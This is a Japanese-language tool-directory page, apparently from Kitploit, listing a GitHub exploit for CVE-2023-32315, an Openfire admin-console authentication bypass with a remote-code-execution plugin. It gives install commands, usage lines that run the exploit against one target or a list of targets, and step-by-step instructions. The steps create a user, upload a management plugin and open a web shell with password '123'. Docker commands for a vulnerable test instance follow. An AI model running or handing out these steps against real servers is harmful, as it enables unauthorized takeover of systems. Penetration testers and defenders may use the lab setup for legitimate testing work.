Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに！

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/miko550/cve-2023-32315
認証と認可脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストペイロード開発
GitHubmiko550/cve-2023-32315

CVE-2023-32315

Openfire Consoleの認証バイパス脆弱性（RCEプラグイン付き）

リポジトリを見る
591212年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2023-32315

Openfire コンソールの認証バイパスと RCE プラグインの脆弱性

セットアップ

root@kitploit:~
git clone https://github.com/miko550/CVE-2023-32315.git
cd CVE-2023-32315
pip3 install -r requirements.txt

使い方

root@kitploit:~
python3 CVE-2023-32315.py -t http://127.0.0.1:9090
python3 CVE-2023-32315.py -l lists.txt

手順

  1. エクスプロイトを実行する
  2. 新しく追加されたユーザーでログインする
  3. プラグインタブ > プラグインのアップロード で openfire-management-tool-plugin.jar をアップロードする
  4. サーバータブ > サーバー設定 > 管理ツール の順に移動する
  5. パスワード "123" で Web シェルにアクセスする

脆弱性のある Openfire Docker

root@kitploit:~
docker pull nasqueron/openfire:4.7.1
sudo docker run --name openfire -d --restart=always --publish 9090:9090 --publish 5222:5222 --publish 7777:7777 --volume /srv/docker/openfire:/var/lib/openfire nasqueron/openfire:4.7.1

参照

  • https://github.com/tangxiaofeng7/CVE-2023-32315-Openfire-Bypass
  • https://github.com/5rGJ5aCh5oCq5YW9/CVE-2023-32315exp
ツールをダウンロード